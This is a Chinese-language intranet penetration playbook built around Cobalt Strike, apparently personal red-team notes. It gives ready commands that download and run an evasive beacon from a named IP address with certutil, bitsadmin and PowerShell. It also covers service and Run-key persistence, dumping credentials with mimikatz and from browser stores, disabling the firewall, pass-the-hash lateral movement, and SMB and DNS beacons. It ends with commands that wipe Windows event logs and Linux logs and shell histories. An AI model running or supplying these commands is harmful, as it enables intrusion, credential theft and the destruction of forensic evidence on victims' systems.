- 找口子
- 稍微修改cs
- 生成Beacon
- 下载免杀cs马
- 进程迁移
- CS和MSF联动
- 权限维持1(计划任务)
- 权限维持2(重启电脑执行)
- 抓密码,以及之后的单机信息收集
- 单机信息收集
- 信息收集checkList
- Xshell
- 代理流量——测试内网连通性
- cs自带的浏览器代理
- cs自带的socks5代理
- 开端口转发,连3389(连TeamView)
- Linux上线CS
- Cross C2 插件(其实也是external C2)
- External C2框架
- 内网弱口令的扫描
- web页面扫端口
- 横向移动
- hash传递,拿下内网用同一密码的主机,这就是传说中的横向移动
- SMB Beacon
- DNSbeacon
- 清理痕迹快速
- 好用的插件
- 常用的CS命令
- 常用的CS面板介绍
- 正向cs
内网渗透常规流程
无域场景
找口子——写webshell——或者命令执行powershell上线(免杀)——或执行下载上线(免杀)———提权——维持权限——代理到内网——windows 3389连上——扫描内网
学习资料:
https://wbglil.gitbook.io/cobalt-strike/
https://github.com/zer0yu/Awesome-CobaltStrike
找口子
查看权限
稍微修改cs
修改默认端口
vim teamserver
成功修改默认端口
生成Beacon
首先是stager和stage
https://blog.csdn.net/qq_41874930/article/details/107797189
1、stager是一个小程序
2、stage(stageless)则就是包含了很多功能的代码块
stage比stager更安全,但是体积更大。而且在内网穿透的时候基本只能用stage,用stager会十分麻烦,stager是分段传输payload的,使用stager有时候会导致目标无法上线。stage唯一的缺点是相比较而言体积比较大。
powershell payload 也相当于 stager,因此powershell 的payload一般不能用于多级内网穿透。
cs的使用第一步就是创造监听的方式,然后生成beacon
这里有很多的监听,一般来说,我们选择http和tcp dns都是可以的
简要说一下他们之间的不同点:
http : 利用http请求来进行通信来向受害主机传达命令,达到控制对方主机的目的。缺点是明文传输。
https:只是增加了加密传输,其余跟http完全相同。
tcp:就是走的TCP流量,没有什么特别之处
DNS:更隐蔽,速度慢,需要配置A和NS解析
SMB:一般用来进行内网渗透,内网B主机通过SMB到首次上线主机A,形成一条通道
Foreign HTTP/HTTPS :用来与MSF联动
ExternalC2 :是一套C2框架,可以支持http dns 等等监听之外的类似于自定义的方式的监听
https://www.xazlsec.com/index.php/archives/995/
下载免杀cs马
certutil -urlcache -split -f http://81.68.232.47:8001/1.exe && 1.exe && del 1.exe
bitsadmin /rawreturn /transfer getfile http://81.68.232.47:8001/1.exe c:\1.exe
bitsadmin /transfer myDownLoadJob /download /priority normal http://81.68.232.47:8001/1.exe c:\1.exe
使用Nishang
朴实无华的下载并运行
powershell -Command “$client = new-object System.Net.WebClient;$client.DownloadFile(‘http://81.68.232.47:8001/1.exe','1.exe‘);
执行:start-process ‘C:\Users\Administrator\Desktop\xxxx\1.exe’” 或者直接1.exe
attrib +s +a +h +r 1.exe 上线后我们给他隐藏一下
进程迁移
ps 查看进程
inject pid x64/x86 注入别的进程
可以选择注入高进程的文件,获取System权限
CS和MSF联动
MSF和CS在同一台VPS上
添加一个监听,注意是外部监听
右键点击beacon,选择联动Spawn,然后选择刚刚使用的那个foreign http 监听,在msf上也选择监听,即可实现联动
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 7777
exploit / run
权限维持1(计划任务)
一个简单的维持权限,重启过依然可以上线,简单粗暴,本质还是需要免杀的cs马
sc create “server power” binpath= “C:\Users\Administrator\Desktop\artifact.exe”
sc description “server power” “description” 设置服务的描述字符串
sc config “server power” start= auto 设置这个服务为自动启动
net start “server power” 启动服务
权限维持2(重启电脑执行)
shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v “Keyname” /t REG_SZ /d “C:\Users\administrator\Desktop\2.exe” /f
抓密码,以及之后的单机信息收集
dumphash 和run mimikatz 都可以
内网渗透的时候常常会使用mimikatz获取内存中的密码凭据,而对于某些情况,(例如win-server2012默认配置,hash解不开)我们并不能获取其中的明文凭据,而是只能获取它的hash密码,因此,PTH(哈希传递)就显得特别有用。
使用hashdump
可以看到这里存在格式
用户名:uid:LM-HASH:NT-HASH,其中LMhash现在已经被默认禁止
可以看到run mimikatz获取的NTLM hash 和hashdump是一样的
单机信息收集
找密码,找浏览器历史记录等
读浏览器密码
不好用//https://github.com/sekirkity/BrowserGather
https://github.com/moonD4rk/HackBrowserData
https://github.com/QAX-A-Team/BrowserGhost
LaZagne
浏览器历史记录
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data
1.指定目录下搜集各类敏感文件
dir /a /s /b d:\"p*.txt"
dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
2.指定目录下的文件中搜集各种账号密码
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
获取本地程序
https://github.com/3gstudent/ListInstalledPrograms
获取远程信息-例如putty superputty winscp filezilla rdp
https://github.com/Arvanaghi/SessionGopher
关闭防火墙(win2008实测成功)
netsh advfirewall set allprofiles state off 关闭防火墙-win-2003之后
netsh firewall et opmode disable 关闭防火墙-win-2003之前
或者使用工具Seatbelt.exe all>>1.txt 然后慢慢看吧,看有啥信息用得到的
信息收集checkList
Xshell
xshell 6/7 %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
xshell 5: %userprofile%\Documents\NetSarang\Xshell\Sessions
网站:https://www.cnblogs.com/Yang34/p/14236254.html
代理流量——测试内网连通性
检测流量出去
https://github.com/SixGenInc/break-free
用venom代理流量,开3389,开sockes5(能出网用frp,不能出网用reg)
上传venom压缩包,unrar.exe进行解压
https://blog.csdn.net/weixin_33850890/article/details/91913818
rar.exe x test.rar testDir\
unrar.exe x d:\abc\a.rar D:\
建立隧道,开socks ,也可以用frp reg都一样
坑点(neo-reg和reg具有相互替代性)
cs自带的浏览器代理
在内网渗透的时候,常常会遇到内网的网站,或许可以getshell,或许有注入可以拿数据
右键beacon—>Explore—>Browser Pivot
这里我直接运行了,他就随机生成了一个端口给我
那么我只需要将浏览器的代理设置为81.68.232.47:53658 就可以愉快的在内网进行Web渗透了
这里由于我的虚拟机没有开启web服务,所以使用如下场景来演示:
我们直接将浏览器代理到vpsa上,如果vps的这个http代理监听没有开启的话,那么代理到这个端口肯定就无效了,也上不了网。但是由于我的vps可以上网,那么我们代理到这个端口肯定也是可以上网的。如下所示
cs也显示有流量经过,并且添加到了trust hosts里
cs自带的socks5代理
右键beacon—>Privoting—>SOCKS Server
和http的浏览器代理同理可得
注意:此处开启的socks为4版本
socks4代理只支持TCP应用,而socks5代理则可以支持TCP和UDP
开启好的所有代理都在这里看,包括http和socks5
开端口转发,连3389(连TeamView)
如果Mimikatz抓不到,可以激活guest,或者net user自己创建一个账户
**
值得一提的是,某些安全设备或者杀软会拦截3389流量,如果内网主机中存在teamvie或者向日葵等工具,那么就非常好绕过。
此外,teamview在运行的时候,账户密码以Unicode编码的方式保存在内存中,只需dump出它的内存即可获取连接的账户密码,接着使用本地teamview正常连接即可
利用工具
SharpDecryptPwd-master
Linux上线CS
Linux的简要横向移动说明
抓口令:
翻目录找运维脚本:
…等
找到口令后,或者通过其他方法获取口令后就可以上线CS了
那么你可能会问了,那如果有了 SSH 凭据,为什么我不自己登上去看,还非要上个 CS 干什么,毕竟 CS 又不是稳控。 个人认为这主要是为了在后渗透的网络拓扑中把目标网络的主机们串起来,便于横向。
输入账号密码就可以上线了
Cross C2 插件(其实也是external C2)
- CobaltStrike:目前仅支持 cs 3.14版本,4.0可上线无法执行其他操作。
- Linux:对于特别旧的系统,您可以在 can 中选择”Linux-GLIBC”选项(2010 年左右)
- MacOS:最新系统仅支持 64 位程序
https://0x20h.com/p/c02f.html#%E5%AE%9A%E4%BD%8D%E9%97%AE%E9%A2%98
https://mp.weixin.qq.com/s/VzXqulGCxC-o9PZTNL2JSA
1.genCrossC2.Linux 文件上传到CobaltStrike服务端目录下。
2.由于 Cross C2目前只支持HTTPS Beacon,所以在Listenrs中选择HTTPS进行监听,
服务端开启监听 windows/beacon_https/reverse_https 类型的beacon
3.生成木马
./genCrossC2.Linux 监听的IP 监听的端口 null null Linux x64 test
4.执行木马上线
成功上线
External C2框架
CS的扩展C2接口(Cobalt Strike External Command and Control)可以允许第三方程序作为teamserver和Beacon之间的一个额外通信层,以下简称External C2。其实就是一个代理转发的功能,可以让我们不使用系统自带的HTTPS,http等自定义一套,本质就是一个listener
在3.x时需要使用脚本来启动,脚本内容如下,
externalc2_start(“0.0.0.0”, 2222);
然后在脚本管理器里加载此脚本 externalc2_start函数的作用就是接收两个参数,监听地址和监听端口
4.x直接新增一个external 就好了
https://github.com/Rvn0xsy/Cooolis-ms
内网弱口令的扫描
22 ssh
3389 rdp
smb 445
6379 redis 主从复制Getshell 弱口令
1433 mssql
3306 mysql
1521 oracle
web页面扫端口
横向移动
上内网扫描工具goby ladon railgun
首先是探测网段ip存活
ms-17010 445 check
railgun
Goby——需要安装Nmap一些插件环境(有时候可能用不了,但是简单粗暴)
扫描时间比较慢(一个C段,7个IP,实际存活三台)花了4分钟
MS-08067 使用msf检测
影响版本: Windows 2000;XP;Server 2003;Vista;Server 2008;7 Beta
cve-2019-0708 3389端口
影响版本:windows2003、windows2008、windows2008 R2、windows xp 、win7
cve-2020-0796 永恒之黑
影响版本——win10
cve-2020-1472 打域控
CVE-2019-1040
https://github.com/fox-it/cve-2019-1040-scanner
cve-2017-7269
IIS webdev getshell
hash传递,拿下内网用同一密码的主机,这就是传说中的横向移动
横向移动的工具很多,有wmihacker,有pstools,psexec,winRM
进行此操作时,需要先扫描一下内网的端口和IP,值得注意的是,利用hash传递,需要用户名和密码一致,也就是如果聪明的管理员把用户名设置为每个主机都不一样,那么Hash传递就会失败。
可以看到这里用hash传递成功了,成功的原因就是两台电脑的用户名和密码是一致的
SMB Beacon
SMB Beacon主要是通过SMB (445端口)协议来进行通信的,在内网横向移动很常见
SMB Beacon 跟 TCP Beacon 类似,但SMB特有的优势是通信过程不会被Windows自带的防火墙拦截
以这样一幅图可以比较很好的说明情况(拦截了HTTP出网)
OK 在内网中存在一台主机开放了445端口,并且假设它流量会被防火墙拦截,不出网
那么此时我们便可以使用smb beacon 将子beacon 通过smb协议到父beacon,然后再到外网
直接开一个smb监听器
之后,填充SMB连接需要的令牌,输入
shell net use \192.168.204.143\admin$ /user:”administrator” “a123456.“。
表示192.168.204.143的管理员密码为 a123456. 然后可以输入 ls \192.168.204.143\c$ 检查smb连接能否使用了。
注意:这里说的是检测smb连接是否可以使用!!! 和建立smb beacon没有直接必须联系的关系
选择完毕后,不久后就会出现这样的标志,橙色的标志代表主机Win7通过smb beacon与服务器连通,然后服务器通过http beacon到达cs控制端。这样就达到了内网渗透,通过smb beacon把内网主机穿起来
DNSbeacon
主要用来绕防火墙(但是缺点是速度很慢,因为dns传输流量也比较小)
https://mp.weixin.qq.com/s/_LjtSgwv7fWDEjPgh_1tZw
https://zhishihezi.net/b/fbf741aec22263432413fd0b8f18a633#
DNS绕过结束
https://choge.top/2020/08/16/Cobaltstrike%E4%B9%8B%E6%B5%81%E9%87%8F%E9%9A%90%E8%97%8F/
1、检查CS服务端的DNS服务
netstat -anlpt | grep 53
然后关闭服务,并禁止开机启动
copyservice systemd-resolved stop
systemctl disable systemd-resolved
2、配置DNS服务
配置的过程其实很简单,主要就是先要注册一个域名,设置一个ns记录一个a记录。
测试解析是否成功
然后直接开启监听,生成dns beacon
要用Beacon,即strage
输入 checkin 然后 mode dns 或者 mode dns-txt 命令来让Ghost beacon 变成alive beacon
注意建立时间比较长,不是马上输入就有
优点:不开端口,能绕过大部分防火墙,隐蔽性好等等 缺点:速度比较慢
清理痕迹快速
windows快速清除命令:
wevtutil.exe cl “System”
wevtutil.exe cl “Security”
wevtutil.exe cl “Application”
wevtutil.exe cl “Microsoft-Windows-TerminalServices-LocalSessionManager/Operational”
wevtutil.exe cl “Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational”
wevtutil.exe cl “Windows PowerShell”
wevtutil.exe cl “Microsoft-Windows-PowerShell/Operational”
wevtutil.exe cl “Microsoft-Windows-TaskScheduler/Operational”
wevtutil.exe cl “Microsoft-Windows-Sysmon/Operational”
linux快速清除命令:
echo > /var/log/wtmp
echo > /var/log/btmp
echo > /var/log/lastlog
echo > /var/log/secure
echo > /var/log/messages
echo > /var/log/syslog
echo > /var/log/xferlog
echo > /var/log/auth.log
echo > /var/log/user.log
cat /dev/null > /var/adm/sylog
cat /dev/null > /var/log/maillog
cat /dev/null > /var/log/openwebmail.log
cat /dev/null > /var/log/mail.info
echo > /var/run/utmp
echo>/root/.mysql_history
rm -rf /var/log/cron*
echo > /root/.bash_history
echo > ~/.bash_history
history -c
好用的插件
Ladon——内网渗透框架
https://www.pianshen.com/article/65921037259/
SweetPotato_CS-master——提权
https://github.com/Tycx2ry/SweetPotato_CS
https://github.com/pandasec888/taowu-cobalt-strike 梼杌
常用的CS命令
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗
常用的CS面板介绍
1、
New Connection | 新的连接(支持连接多个服务器端) |
---|---|
Preferences | 偏好设置(设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录等) |
Visualization | 窗口视图模式(展示输出结果的形式) |
VPN Interfaces | VPN接入 |
Listenrs | 监听器(创建Listener) |
Script Manager | 脚本管理 |
Close | 关闭客户端 |
2、
Applications | 应用(显示受害者机器的应用信息) |
---|---|
Credentials | 凭证(通过hashdump或Mimikatz抓取过的密码都会储存在这里) |
Downloads | 下载文件 |
Event Log | 事件日志(主机上线记录以及团队协作聊天记录) |
Keystrokes | 键盘记录 |
Proxy Pivots | 代理模块 |
Screenshots | 受害者机器屏幕截图 |
Script Console | 脚本控制台(可以加载各种脚本,增强功能https://github.com/rsmudge/cortana-scripts) |
Targets | 显示目标主机 |
Web Log | Web日志 |
3、attacks
HTML Application | 生成恶意的HTA木马文件 |
---|---|
MS Office Macro | 生成office宏病毒文件 |
Payload Generator | 生成各种语言版本的payload |
Windows Executable | 生成Windows可执行payload |
Windows Executable(S) | 把包含payload,Stageless生成可执行文件(包含多数功能) |
4、attacks
Manage | 对开启的web服务进行管理 |
---|---|
Clone Site | 克隆网站(可记录受害者提交的数据) |
Host File | 提供Web以供下载某文件 |
Scripted Web Delivery | 提供Web服务,便于下载和执行PowerShell Payload,类似于Metasploit的web_delivery |
Signed Applet Attack | 启动一个Web服务以提供自签名Java Applet的运行环境 |
Smart Applet Attack | 自动检测Java版本并利用已知的exploits绕过security |
System Profiler | 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等 |
Spear Phish | 鱼叉攻击 |
5、
Activity report | 活动报告 |
---|---|
Hosts report | 主机报告 |
Indicators of Compromise | 威胁报告 |
Sessions report | 会话报告 |
Social engineering report | 社会工程学报告 |
Tactics, Techniques, and Procedures | 策略、技巧和程序 |
Reset Data | 重置数据 |
正向cs
在CS里HTTP beacon只能反向shell
但是在SMB beacon、和TCP beacon里可以生成正向Shell
我们尝试用它来进行正向shell的上线。
利用场景——目的:域控上线:
1、内网存在服务器A,存在域控,通过某些方式拿到了域控权限(命令执行)
2、域控不出网,服务器A出网
3、此时通过某种方式(内网wget,账户密码登录等)下载正向tcp beacon
4、域控执行正向tcp beacon 此时域控监听端口7666,等待连接
5、进入interact 服务器A的beacon shell中,执行命令connect 10.10.1.129(域控) 7666
监听器,生成正向bind beacon